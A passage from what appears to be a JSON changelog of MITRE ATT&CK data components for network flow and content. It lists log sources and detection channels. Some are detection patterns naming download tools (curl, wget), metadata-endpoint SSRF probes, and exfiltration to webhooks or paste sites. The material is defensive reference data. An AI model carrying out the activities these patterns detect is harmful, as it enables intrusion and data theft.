TLS inspection logs\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"network connection events\"}, {\"name\": \"esxi:vmkernel\", \"channel\": \"protocol egress\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Outbound connection to *.tunnels.api.visualstudio.com or *.devtunnels.ms\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Connections to *.devtunnels.ms or tunnels.api.visualstudio.com\"}, {\"name\": \"NSM:Flow\", \"channel\": \"HTTPs connection to tunnels.api.visualstudio.com\"}, {\"name\": \"WinEventLog:Security\", \"channel\": \"EventCode=5156\"}, {\"name\": \"WinEventLog:Security\", \"channel\": \"EventCode=5156,5157\"}, {\"name\": \"linux:osquery\", \"channel\": \"family=AF_PACKET or protocol raw; process name not in allowlist.\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"First outbound connection from the same PID/user shortly after an inbound trigger.\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Outbound or inbound TFTP file transfers of ROMMON or firmware binaries\"}, {\"name\": \"NSM:Connections\", \"channel\": \"Outbound connections from newly spawned child processes or from the browser to uncommon endpoints or on anomalous ports\"}, {\"name\": \"NSM:Flow\", \"channel\": \"connection: TCP connections to ports 139/445 to multiple hosts\"}, {\"name\": \"NSM:Flow\", \"channel\": \"connection: SMB connections to multiple internal hosts\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"connect/sendto\"}, {\"name\": \"macos:endpointsecurity\", \"channel\": \"ES_EVENT_TYPE_NOTIFY_CONNECT\"}, {\"name\": \"snmp:access\", \"channel\": \"GETBULK/GETNEXT requests for OIDs associated with configuration parameters\"}, {\"name\": \"esxi:hostd\", \"channel\": \"Service initiated connections\"}, {\"name\": \"AWS:VPCFlowLogs\", \"channel\": \"Large transfer volume (>20MB) from RDS IP range to external public IPs\"}, {\"name\": \"AWS:VPCFlowLogs\", \"channel\": \"High outbound traffic from new region resource\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Outbound HTTP/S initiated by newly installed interpreter process\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"open or connect syscalls on /tmp/ssh-* or $SSH_AUTH_SOCK\"}, {\"name\": \"NSM:Flow\", \"channel\": \"outbound connections to RMM services or to unusual destination ports\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"network sessions initiated by remote desktop apps\"}, {\"name\": \"AWS:VPCFlowLogs\", \"channel\": \"Outbound connections to port 22, 3389\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"socket/connect with TLS context by unexpected process\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Multiple failed connections (conn_state=REJ/S0 or history has 'R') across distinct ports from the same src_ip followed by success to a specific port.\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"socket/bind: New bind() to a previously closed port shortly after the sequence.\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Sequence of REJ/S0 then SF success from same src_ip within TimeWindow.\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Series of denied/closed flows to distinct ports then success to mgmt port from same src_ip within TimeWindow.\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Outbound traffic spike through formerly blocked ports/subnets following config change\"}, {\"name\": \"cni:netflow\", \"channel\": \"outbound connection to internal or external APIs\"}, {\"name\": \"macos:osquery\", \"channel\": \"launchd or network_events\"}, {\"name\": \"networkdevice:syslog\", \"channel\": \"Dynamic route changes\"}, {\"name\": \"NSM:Flow\", \"channel\": \"New egress to Internet by the same UID/host shortly after terminal exec\"}, {\"name\": \"NSM:Flow\", \"channel\": \"connection: Inbound connections to SSH or VPN ports\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Inbound connections to VNC/SSH ports\"}, {\"name\": \"NSM:Flow\", \"channel\": \"External access to container ports (2375, 6443)\"}, {\"name\": \"linux:syslog\", \"channel\": \"network\"}, {\"name\": \"macos:osquery\", \"channel\": \"process_events + launchd\"}, {\"name\": \"esxi:esxupdate\", \"channel\": \"/var/log/esxupdate.log or /var/log/vmksummary.log\"}, {\"name\": \"ebpf:syscalls\", \"channel\": \"socket connect\"}, {\"name\": \"NSM:Flow\", \"channel\": \"remote access\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Outbound Connections\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"network\"}, {\"name\": \"AWS:VPCFlowLogs\", \"channel\": \"Traffic observed on mirror destination instance\"}, {\"name\": \"networkdevice:Flow\", \"channel\": \"Traffic from mirrored interface to mirror target IP\"}, {\"name\": \"linux:Sysmon\", \"channel\": \"EventCode=3\"}, {\"name\": \"macos:osquery\", \"channel\": \"process_events, socket_events\"}, {\"name\": \"esxi:vmkernel\", \"channel\": \"network activity\"}, {\"name\": \"NSM:Flow\", \"channel\": \"connection attempts\"}, {\"name\": \"NSM:Flow\", \"channel\": \"High-volume or repeated SNMP GETBULK/GETNEXT queries from untrusted or external IPs\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"sendto/connect\"}, {\"name\": \"NSM:Flow\", \"channel\": \"outbound connections from host during or immediately after image build\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Outbound Traffic\"}, {\"name\": \"esxi:hostd\", \"channel\": \"Service-Based Network Connection\"}, {\"name\": \"linux:syslog\", \"channel\": \"postfix/smtpd\"}, {\"name\": \"NSM:Flow\", \"channel\": \"new outbound connection from browser/office lineage\"}, {\"name\": \"NSM:Flow\", \"channel\": \"new outbound connection from exploited lineage\"}, {\"name\": \"macos:osquery\", \"channel\": \"CONNECT: Long-lived connections from remote-control parents to external IPs/domains\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"outbound connections\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"None\"}, {\"name\": \"esxi:vmkernel\", \"channel\": \"None\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"networkd or socket\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"log stream network activity\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Multiple failed connections to closed ports (history contains 'R' or conn_state in {REJ, S0}) followed by a successful handshake to a new port from same src within TimeWindowKnock\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"socket/bind: Process binds to a new local port shortly after knock\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Closed-port hits followed by success from same src_ip\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Port-knock pattern from one src to device unicast,broadcast,network addresses on same port within TimeWindowKnock\"}, {\"name\": \"WinEventLog:Microsoft-Windows-WLAN-AutoConfig\", \"channel\": \"8001, 8002, 8003\"}, {\"name\": \"linux:syslog\", \"channel\": \"New Wi-Fi connection established or repeated association failures\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Association and authentication events including failures and new SSIDs\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"socket/connect calls showing SSH processes forwarding arbitrary ports\"}, {\"name\": \"esxi:vmkernel\", \"channel\": \"network session initiation with external HTTPS services\"}, {\"name\": \"WinEventLog:System\", \"channel\": \"EventCode=8001\"}, {\"name\": \"linux:syslog\", \"channel\": \"None\"}, {\"name\": \"macos:osquery\", \"channel\": \"None\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"openat,connect -k discovery\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Unexpected inbound/outbound TFTP traffic for device image files\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Unexpected or unauthorized inbound connections to SNMP, NETCONF, or RESTCONF services\"}]}, \"dictionary_item_removed\": {\"root['x_mitre_data_source_ref']\": \"x-mitre-data-source--c000cd5c-bbb3-4606-af6f-6c6d9de0bbe3\"}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 15:14:34.190000+00:00\", \"old_value\": \"2025-04-18 15:11:23.639000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.0\", \"old_value\": \"1.2\"}}}", + "previous_version": "1.2", + "version_change": "1.2 \u2192 2.0" + }, + { + "type": "x-mitre-data-component", + "id": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-10-20 15:05:19.274000+00:00", + "modified": "2025-10-21 15:14:34.343000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/datacomponents/DC0085", + "external_id": "DC0085" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Network Traffic Content", + "description": "The full packet capture (PCAP) or session data that logs both protocol headers and payload content. This allows analysts to inspect command and control (C2) traffic, exfiltration, and other suspicious activity within network communications. Unlike metadata-based logs, full content analysis enables deeper protocol inspection, payload decoding, and forensic investigations.\n\n*Data Collection Measures:*\n\n- Network Packet Capture (Full Content Logging)\n - Wireshark / tcpdump / tshark\n - Full packet captures (PCAP files) for manual analysis or IDS correlation. `tcpdump -i eth0 -w capture.pcap`\n - Zeek (formerly Bro)\n - Extracts protocol headers and payload details into structured logs. `echo \"redef Log::default_store = Log::ASCII;\" > local.zeek | zeek -Cr capture.pcap local.zeek`\n - Suricata / Snort (IDS/IPS with PCAP Logging)\n - Deep packet inspection (DPI) with signature-based and behavioral analysis. `suricata -c /etc/suricata/suricata.yaml -i eth0 -l /var/log/suricata`\n- Host-Based Collection\n - Sysmon Event ID 22 \u2013 DNS Query Logging, Captures DNS requests made by processes, useful for detecting C2 domains.\n - Sysmon Event ID 3 \u2013 Network Connection Initiated, Logs process-to-network connection relationships.\n - AuditD (Linux) \u2013 syscall=connect, Monitors outbound network requests from processes. `auditctl -a always,exit -F arch=b64 -S connect -k network_activity`\n- Cloud & SaaS Traffic Collection\n - AWS VPC Flow Logs / Azure NSG Flow Logs / Google VPC Flow Logs, Captures metadata about inbound/outbound network traffic.\n - Cloud IDS (AWS GuardDuty, Azure Sentinel, Google Chronicle), Detects malicious activity in cloud environments by analyzing network traffic patterns.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_log_sources": [ + { + "name": "Network Traffic", + "channel": "None" + }, + { + "name": "ebpf:syscalls", + "channel": "Process within container accesses link-local address 169.254.169.254" + }, + { + "name": "WebProxy:AccessLogs", + "channel": "SSRF-like patterns accessing metadata endpoint through proxy (e.g., Host: 169.254.169.254)" + }, + { + "name": "NSM:Flow", + "channel": "mqtt.log / xmpp.log (custom log feeds)" + }, + { + "name": "NSM:Flow", + "channel": "mqtt.log or AMQP custom log" + }, + { + "name": "NSM:Flow", + "channel": "mqtt.log, xmpp.log, amqp.log" + }, + { + "name": "networkdevice:syslog", + "channel": "ACL/Firewall rule modification or new route injection" + }, + { + "name": "m365:office", + "channel": "External HTTP/DNS connection from Office binary shortly after macro trigger" + }, + { + "name": "NSM:Flow", + "channel": "TCP/UDP" + }, + { + "name": "NSM:Flow", + "channel": "TCP session tracking" + }, + { + "name": "NSM:Flow", + "channel": "Captured packet payloads" + }, + { + "name": "NSM:Flow", + "channel": "session behavior" + }, + { + "name": "esxi:vmkernel", + "channel": "Network activity" + }, + { + "name": "NSM:Flow", + "channel": "External C2 channel over TLS" + }, + { + "name": "NSM:Flow", + "channel": "http/file-xfer: Inbound/outbound transfer of ELF shared objects" + }, + { + "name": "NSM:Flow", + "channel": "http.log, files.log" + }, + { + "name": "NSM:Flow", + "channel": "unexpected network activity initiated shortly after shell session starts" + }, + { + "name": "NSM:Flow", + "channel": "HTTP/WebDAV requests that contain NTLMSSP or PROPFIND/MOVE/OPTIONS with Authorization: NTLM" + }, + { + "name": "NSM:Flow", + "channel": "http.log, ssl.log" + }, + { + "name": "NSM:Flow", + "channel": "http.log, conn.log" + }, + { + "name": "NSM:Flow", + "channel": "SPAN or port-mirrored HTTP/S" + }, + { + "name": "NSM:Flow", + "channel": "http.log, ssl.log, websocket.log" + }, + { + "name": "macos:unifiedlog", + "channel": "process + network metrics correlation for bandwidth saturation" + }, + { + "name": "docker:stats", + "channel": "unusual network TX/RX byte deltas" + }, + { + "name": "etw:Microsoft-Windows-WinINet", + "channel": "HTTPS Inspection" + }, + { + "name": "NSM:Flow", + "channel": "ssl.log" + }, + { + "name": "linux:syslog", + "channel": "Query to suspicious domain with high entropy or low reputation" + }, + { + "name": "macos:unifiedlog", + "channel": "DNS query with pseudo-random subdomain patterns" + }, + { + "name": "azure:vpcflow", + "channel": "HTTP requests to 169.254.169.254 or Azure Metadata endpoints" + }, + { + "name": "NSM:Flow", + "channel": "Browser connections to known C2 or dynamic DNS domains" + }, + { + "name": "NSM:Flow", + "channel": "Session History Reset" + }, + { + "name": "NSM:Flow", + "channel": "HTTP " + }, + { + "name": "macos:unifiedlog", + "channel": "network flow" + }, + { + "name": "linux:syslog", + "channel": "curl|wget|python .*http" + }, + { + "name": "macos:unifiedlog", + "channel": "curl|osascript.*open location" + }, + { + "name": "NSM:Flow", + "channel": "query: High-volume LDAP traffic with filters targeting groupPolicyContainer attributes" + }, + { + "name": "etw:Microsoft-Windows-NDIS-PacketCapture", + "channel": "TLS Handshake/Network Flow" + }, + { + "name": "NSM:Flow", + "channel": "HTTP/TLS Logs" + }, + { + "name": "macos:unifiedlog", + "channel": "subsystem: com.apple.network" + }, + { + "name": "linux:syslog", + "channel": "Unexpected SQL or application log entries showing tampered or malformed data" + }, + { + "name": "EDR:hunting", + "channel": "Advanced Hunting: DeviceProcessEvents + DeviceNetworkEvents" + }, + { + "name": "NSM:Flow", + "channel": "Suspicious URL patterns, uncommon TLDs, short-lived domains, URL shorteners; HTTP method GET/POST" + }, + { + "name": "NSM:Flow", + "channel": "Suspicious URL patterns, uncommon TLDs, URL shorteners" + }, + { + "name": "macos:unifiedlog", + "channel": "open URL|clicked link|LSQuarantineAttach" + }, + { + "name": "NSM:Flow", + "channel": "Suspicious GET/POST; downloader patterns" + }, + { + "name": "NSM:Flow", + "channel": "SSH logins or scp activity" + }, + { + "name": "NSM:Flow", + "channel": "remote login and transfer" + }, + { + "name": "esxi:vob", + "channel": "NFS/remote access logs" + }, + { + "name": "AWS:VPCFlowLogs", + "channel": "Traffic between instances" + }, + { + "name": "NSM:Flow", + "channel": "conn.log" + }, + { + "name": "WinEventLog:System", + "channel": "EventCode=5005 (WLAN), EventCode=302 (Bluetooth)" + }, + { + "name": "macos:unifiedlog", + "channel": "None" + }, + { + "name": "NSM:Flow", + "channel": "Suspicious long-lived or reattached remote desktop sessions from unexpected IPs" + }, + { + "name": "NSM:Flow", + "channel": "HTTP payloads with SQLi/LFI/JNDI/deserialization indicators" + }, + { + "name": "NSM:Flow", + "channel": "outbound egress from web host after suspicious request" + }, + { + "name": "NSM:Flow", + "channel": "Requests towards cloud metadata or command & control from pod IPs" + }, + { + "name": "ALB:HTTPLogs", + "channel": "AWS ALB/ELB/GCP/Azure Application Gateway HTTP logs with unusual methods, long URIs, serialized payloads, 4xx/5xx bursts" + }, + { + "name": "NSM:Flow", + "channel": "Connections to TCP 427 (SLP) or vCenter web services from untrusted sources" + }, + { + "name": "NSM:Flow", + "channel": "NetFlow/sFlow for odd egress to Internet from mgmt plane" + }, + { + "name": "NSM:Flow", + "channel": "packet capture or DPI logs" + }, + { + "name": "NSM:Flow", + "channel": "http.log" + }, + { + "name": "NSM:Flow", + "channel": "SMB2_LOGOFF/SMB_TREE_DISCONNECT" + }, + { + "name": "macos:unifiedlog", + "channel": "Connections to suspicious domains with mismatched certificate or unusual patterns" + }, + { + "name": "NSM:Flow", + "channel": "Unusual Base64-encoded content in URI, headers, or POST body" + }, + { + "name": "NSM:Flow", + "channel": "Base64 strings or gzip in URI, headers, or POST body" + }, + { + "name": "macos:unifiedlog", + "channel": "HTTP POST with encoded content in user-agent or cookie field" + }, + { + "name": "esxi:vmkernel", + "channel": "Outbound traffic using encoded payloads post-login" + }, + { + "name": "macos:unifiedlog", + "channel": "Suspicious outbound HTTPS requests to domains flagged as newly registered or untrusted after spearphishing message interaction" + }, + { + "name": "NSM:Flow", + "channel": "Inbound connections to 445, 3389, 5985-5986 with high error/connection-reset rate, followed by new outbound sessions from the same host to internal assets within short interval." + }, + { + "name": "NSM:Flow", + "channel": "Inbound connections to monitored service ports from external or unusual internal sources; rapid follow-on lateral connections from the same host." + }, + { + "name": "NSM:Flow", + "channel": "Inbound to tcp/427 (OpenSLP), tcp/443 (vSphere APIs), tcp/902, tcp/5989 followed by new unexpected outbound sessions from the ESXi/vCenter host." + }, + { + "name": "NSM:Flow", + "channel": "Inbound to 22/5900/8080 and follow-on internal connections." + }, + { + "name": "NSM:Flow", + "channel": "http: HTTP body or headers contain long Base64 sections; gzip/deflate + Base64" + }, + { + "name": "NSM:Flow", + "channel": "http: HTTP body contains long Base64 sections" + }, + { + "name": "NSM:Flow", + "channel": "http: Base64/MIME looking payloads from ESXi host IP" + }, + { + "name": "NSM:Flow", + "channel": "LDAP Bind/Search" + }, + { + "name": "NSM:Flow", + "channel": "LDAP Query" + }, + { + "name": "macos:unifiedlog", + "channel": "log stream (subsystem: com.apple.system.networking)" + }, + { + "name": "NSM:Flow", + "channel": "smtp.log" + }, + { + "name": "NSM:Flow", + "channel": "smtp.log, conn.log" + }, + { + "name": "NSM:Flow", + "channel": "remote CLI session detection" + }, + { + "name": "macos:unifiedlog", + "channel": "Encrypted connection with anomalous payload entropy" + }, + { + "name": "esxcli:network", + "channel": "Socket sessions with randomized payloads inconsistent with TLS" + }, + { + "name": "NSM:Connections", + "channel": "Symmetric encryption detected without TLS handshake sequence" + }, + { + "name": "NSM:Flow", + "channel": "http.log, ftp.log" + }, + { + "name": "NSM:Flow", + "channel": "PCAP inspection" + }, + { + "name": "NSM:Flow", + "channel": "large HTTPS POST requests to webhook endpoints" + }, + { + "name": "esxi:vmkernel", + "channel": "HTTPS POST connections to webhook endpoints" + }, + { + "name": "NSM:Flow", + "channel": "Single, low-volume inbound packet (REJ/S0/OTH or uncommon dport/protocol) from src_ip followed by outbound SF connection to src_ip." + }, + { + "name": "NSM:Flow", + "channel": "Rare inbound packet characteristics (ICMP/UDP/TCP to uncommon port) from src_ip followed \u2264TimeWindow by outbound SF from same host to src_ip." + }, + { + "name": "NSM:Flow", + "channel": "Inbound one-off packet to uncommon port \u2192 outbound SF to same src_ip within TimeWindow." + }, + { + "name": "networkdevice:config", + "channel": "NAT table modification (add/update/delete rule)" + }, + { + "name": "NSM:Flow", + "channel": "large upload to firmware interface port or path" + }, + { + "name": "macos:unifiedlog", + "channel": "Rapid incoming TLS handshakes or HTTP requests in quick succession" + }, + { + "name": "NSM:Flow", + "channel": "http.request: HTTP requests and responses for specific script resources, unexpected content-types (application/octet-stream for script URLs), suspicious referrers, or obfuscated javascript resources" + }, + { + "name": "NSM:Flow", + "channel": "http::response: HTTP responses with suspicious content-type for scripts, long obfuscated javascript bodies, or redirects to exploit kit domains" + }, + { + "name": "NSM:Flow", + "channel": "HTTP/HTTPS requests for script resources flagged by content inspection (excessive obfuscation, eval usage, unusual redirects)" + }, + { + "name": "NSM:Connections", + "channel": "TLS handshake + HTTP headers" + }, + { + "name": "NSM:Flow", + "channel": "ssl.log + http.log" + }, + { + "name": "macos:unifiedlog", + "channel": "network, socket, and http logs" + }, + { + "name": "NSM:Firewall", + "channel": "TLS/HTTP inspection" + }, + { + "name": "NSM:Flow", + "channel": "http/file-xfer: Outbound transfer of large video-like MIME types soon after capture" + }, + { + "name": "container:proxy", + "channel": "outbound/inbound network activity from spawned pods" + }, + { + "name": "esxcli:network", + "channel": "listening sockets bound to non-standard ports" + }, + { + "name": "NSM:Flow", + "channel": "Outbound SCP, TFTP, or FTP sessions carrying configuration file content" + }, + { + "name": "NSM:Flow", + "channel": "Session Transfer Content" + }, + { + "name": "NSM:Flow", + "channel": "Captured File Content" + }, + { + "name": "NSM:Flow", + "channel": "C2 exfiltration" + }, + { + "name": "NSM:Flow", + "channel": "Transferred file observations" + }, + { + "name": "apache:access_log", + "channel": "Unusual HTTP POST or PUT requests to paths such as '/uploads/', '/admin/', or CMS plugin folders" + }, + { + "name": "NSM:Flow", + "channel": "http::post: Outbound HTTP POST from host shortly after DB export activity" + }, + { + "name": "NSM:Flow", + "channel": "HTTPS API requests to Dropbox, iCloud, Google Drive, OneDrive shortly after DB tool usage" + }, + { + "name": "NSM:Flow", + "channel": "Observed downgrade in negotiated cipher suites or TLS/SSH versions across sessions" + }, + { + "name": "NSM:Flow", + "channel": "New egress from container IP/namespace to Internet or non-approved CIDRs/ASNs" + }, + { + "name": "NSM:Flow", + "channel": "New VM egress to crypto-mining pools or non-approved Internet ranges within minutes of boot" + }, + { + "name": "docker:events", + "channel": "remote API calls to /containers/create or /containers/{id}/start" + }, + { + "name": "NSM:Flow", + "channel": "http::request: Network connection to package registry or C2 from interpreter shortly after install" + }, + { + "name": "linux:syslog", + "channel": "Integrity mismatch warnings or malformed packets detected" + }, + { + "name": "NSM:Flow", + "channel": "http::request: Outbound HTTP initiated by Python interpreter" + }, + { + "name": "WinEventLog:Sysmon", + "channel": "Outbound requests with forged tokens/cookies in headers" + }, + { + "name": "linux:syslog", + "channel": "DNS response IPs followed by connections to non-standard calculated ports" + }, + { + "name": "macos:unifiedlog", + "channel": "DNS responses followed by connections to ports outside standard ranges" + }, + { + "name": "macos:unifiedlog", + "channel": "Persistent outbound traffic to mining domains" + }, + { + "name": "macos:unifiedlog", + "channel": "Encrypted session initiation by unexpected binary" + }, + { + "name": "esxi:vmkernel", + "channel": "Inspection of sockets showing encrypted sessions from non-baseline processes" + }, + { + "name": "NSM:Connections", + "channel": "Abnormal certificate chains or non-standard ports carrying TLS" + }, + { + "name": "NSM:Flow", + "channel": "DrsAddEntry, DrsReplicaAdd, GetNCChanges calls between non-DC and DCs." + }, + { + "name": "NSM:Flow", + "channel": "large HTTPS POST requests to text storage domains" + }, + { + "name": "esxi:vmkernel", + "channel": "HTTPS POST connections to pastebin-like domains" + }, + { + "name": "NSM:Flow", + "channel": "Unexpected ARP replies or DNS responses inconsistent with authoritative servers" + }, + { + "name": "NSM:Flow", + "channel": "TLS downgrade or inconsistent DNS answers" + }, + { + "name": "NSM:Flow", + "channel": "Unusual request pattern leading up to service crash (e.g., malformed or oversized payload)" + }, + { + "name": "AWS:VPCFlowLogs", + "channel": "Large volume of malformed or synthetic payloads to application endpoints prior to failure" + }, + { + "name": "networkconfig ", + "channel": "interface flag PROMISC, netstat | ip link | ethtool" + }, + { + "name": "macos:unifiedlog", + "channel": "eventMessage = 'promiscuous'" + }, + { + "name": "networkdevice:syslog", + "channel": "config change (e.g., logging buffered, pcap buffers)" + }, + { + "name": "macos:unifiedlog", + "channel": "outbound HTTPS connections to code repository APIs" + }, + { + "name": "azure:activity", + "channel": "networkInsightsLogs" + }, + { + "name": "gcp:audit", + "channel": "network.query*" + }, + { + "name": "WinEventLog:Microsoft-Windows-Windows Defender/Operational", + "channel": "Unusual external domain access" + }, + { + "name": "NSM:Flow", + "channel": "conn.log or http.log" + }, + { + "name": "NSM:Flow", + "channel": "http: HTTP bodies/headers contain long tokens with non-standard alphabets or constant-size periodic POSTs" + }, + { + "name": "NSM:Flow", + "channel": "dns: DNS labels with excessive length and restricted custom alphabets (e.g., base36 only) repeated frequently" + }, + { + "name": "NSM:Flow", + "channel": "http: suspicious long tokens with custom alphabets in body/headers" + }, + { + "name": "NSM:Flow", + "channel": "http: HTTP bodies from ESXi host IPs containing long, non-standard tokens" + }, + { + "name": "NSM:Flow", + "channel": "Traffic patterns showing downgrade from strong encryption (AES-256) to weaker or plaintext protocols" + }, + { + "name": "NSM:Flow", + "channel": "HTTP(S) requests with User-Agents typical of PowerShell or curl from desktop; or URIs matching paste-inspired payload hosts" + }, + { + "name": "NSM:Flow", + "channel": "Egress to non-approved networks from host after terminal exec" + }, + { + "name": "NSM:Flow", + "channel": "Flow/PCAP analysis for outbound payloads" + }, + { + "name": "NSM:Flow", + "channel": "conn.log + files.log + ssl.log" + }, + { + "name": "macos:unifiedlog", + "channel": "eventMessage = 'open', 'sendto', 'connect'" + }, + { + "name": "NSM:Flow", + "channel": "HTTPS or custom protocol traffic with large payloads" + }, + { + "name": "esxi:vmkernel", + "channel": "network stack module logs" + }, + { + "name": "NSM:Flow", + "channel": "Unexpected script or binary content returned in HTTP response body" + }, + { + "name": "NSM:Flow", + "channel": "Injected content responses with unexpected script/malware signatures" + }, + { + "name": "NSM:Flow", + "channel": "Content injection observed in HTTPS responses with mismatched certificates or altered payloads" + }, + { + "name": "NSM:Firewall", + "channel": "High rate of inbound TCP SYN or ACK packets with missing 3-way handshake completion" + }, + { + "name": "NSM:Firewall", + "channel": "Anomalous TCP SYN or ACK spikes from specific source or interface" + }, + { + "name": "saas:confluence", + "channel": "REST API access from non-browser agents" + }, + { + "name": "Netfilter/iptables", + "channel": "Forwarded packets log" + }, + { + "name": "NSM:Flow", + "channel": "Relay patterns across IP hops" + }, + { + "name": "NSM:Firewall", + "channel": "Outbound encrypted traffic" + }, + { + "name": "NSM:Flow", + "channel": "ldap.log" + }, + { + "name": "macos:unifiedlog", + "channel": "dns-sd, mDNSResponder, socket activity" + }, + { + "name": "networkdevice:IDS", + "channel": "content inspection / PCAP / HTTP body" + }, + { + "name": "NSM:Flow", + "channel": "Probe responses from unauthorized APs responding to client probe requests" + }, + { + "name": "auditd:SYSCALL", + "channel": "setsockopt, ioctl modifying ARP entries" + }, + { + "name": "NSM:Flow", + "channel": "Excessive gratuitous ARP replies on local subnet" + }, + { + "name": "NSM:Flow", + "channel": "Inbound HTTP POST with suspicious payload size or user-agent" + }, + { + "name": "NSM:Flow", + "channel": "POST requests to .php, .jsp, .aspx files with high entropy body" + }, + { + "name": "NSM:Flow", + "channel": "dns.log" + }, + { + "name": "NSM:FLow", + "channel": "dns.log" + }, + { + "name": "NSM:Flow", + "channel": "Encrypted tunnels or proxy traffic to non-standard destinations" + }, + { + "name": "esxi:vmkernel", + "channel": "Suspicious traffic filtered or redirected by VM networking stack" + }, + { + "name": "NSM:Flow", + "channel": "large transfer from management IPs to unauthorized host" + }, + { + "name": "NSM:Flow", + "channel": "Sustained abnormal inbound request rate targeting application ports (e.g., 80/443/25)" + }, + { + "name": "NSM:Flow", + "channel": "ftp.log, smb_files.log" + }, + { + "name": "NSM:Flow", + "channel": "ftp.log, conn.log" + }, + { + "name": "NSM:Flow", + "channel": "mirror/SPAN port" + }, + { + "name": "NSM:Flow", + "channel": "ftp.log, conn.log, smb_files.log" + }, + { + "name": "linux:syslog", + "channel": "Multiple NXDOMAIN responses and high entropy domains" + }, + { + "name": "NSM:Flow", + "channel": "SSL/TLS Inspection or PCAP" + }, + { + "name": "NSM:Flow", + "channel": "conn.log, ssl.log" + }, + { + "name": "macos:unifiedlog", + "channel": "process + network activity" + }, + { + "name": "NSM:Flow", + "channel": "http, dns, smb, ssl logs" + }, + { + "name": "NSM:Flow", + "channel": "dns, ssl, conn" + }, + { + "name": "NSM:Flow", + "channel": "conn.log, http.log, dns.log, ssl.log" + }, + { + "name": "networkdevice:syslog", + "channel": "Authentication failures, unexpected community string usage, or unauthorized SNMPv1/v2 requests" + }, + { + "name": "NSM:Flow", + "channel": "ICMP/UDP traffic (Wireshark, Suricata, Zeek)" + }, + { + "name": "NSM:Flow", + "channel": "icmp.log, weird.log" + }, + { + "name": "NSM:Flow", + "channel": "ICMP/UDP monitoring (tcpdump, Wireshark, Zeek)" + }, + { + "name": "esxi:vmkernel", + "channel": "VMCI syslog entries" + }, + { + "name": "NSM:Firewall", + "channel": "ICMP/UDP protocol anomaly" + }, + { + "name": "NSM:Flow", + "channel": "Unusual responses to LLMNR (UDP 5355) or NBT-NS (UDP 137) queries from unauthorized hosts" + }, + { + "name": "NSM:Flow", + "channel": "DHCP OFFER or ACK with unauthorized DNS/gateway parameters" + }, + { + "name": "NSM:Flow", + "channel": "Multiple DHCP OFFER responses for a single DISCOVER" + }, + { + "name": "NSM:Flow", + "channel": "SSL/TLS Handshake Analysis" + }, + { + "name": "NSM:Flow", + "channel": "HTTP Header Metadata" + }, + { + "name": "NSM:Flow", + "channel": "Network Capture TLS/HTTP" + }, + { + "name": "NSM:Content", + "channel": "SSL Certificate Metadata" + }, + { + "name": "NSM:Content", + "channel": "HTTP Header Metadata" + }, + { + "name": "NSM:Content", + "channel": "TLS Fingerprint and Certificate Analysis" + }, + { + "name": "NSM:Flow", + "channel": "container egress to unknown IPs/domains" + }, + { + "name": "gcp:vpcflow", + "channel": "first 5m egress to unknown ASNs" + }, + { + "name": "NSM:Flow", + "channel": "HTTP Request Logging" + }, + { + "name": "WinEventLog:iis", + "channel": "IIS Logs" + }, + { + "name": "macos:unifiedlog", + "channel": "subsystem=com.apple.WebKit" + }, + { + "name": "AWS:VPCFlowLogs", + "channel": "Unusual volume of data transferred from S3 storage endpoints to non-corporate IPs" + }, + { + "name": "NSM:Flow", + "channel": "ssh connections originating from third-party CIDRs" + }, + { + "name": "NSM:Flow", + "channel": "ssh/smb connections to internal resources from third-party devices" + }, + { + "name": "NSM:Flow", + "channel": "Degraded encryption throughput or switch to weaker cipher suites compared to historical baselines" + }, + { + "name": "NSM:Flow", + "channel": "ssl.log (for TLS handshake analysis), dns.log (tunneling indicators)" + }, + { + "name": "NSM:Flow", + "channel": "host switch egress data" + }, + { + "name": "NSM:Flow", + "channel": "Outbound HTTP/S" + }, + { + "name": "macos:unifiedlog", + "channel": "subsystem: com.apple.WebKit or com.apple.WebKit.Networking" + }, + { + "name": "NSM:Flow", + "channel": "ssl.log - Certificate Analysis" + }, + { + "name": "NSM:Flow", + "channel": "ssl.log, conn.log" + }, + { + "name": "NSM:Flow", + "channel": "ssl.log, x509.log" + }, + { + "name": "NSM:Flow", + "channel": "Packets with unusual flags or payloads 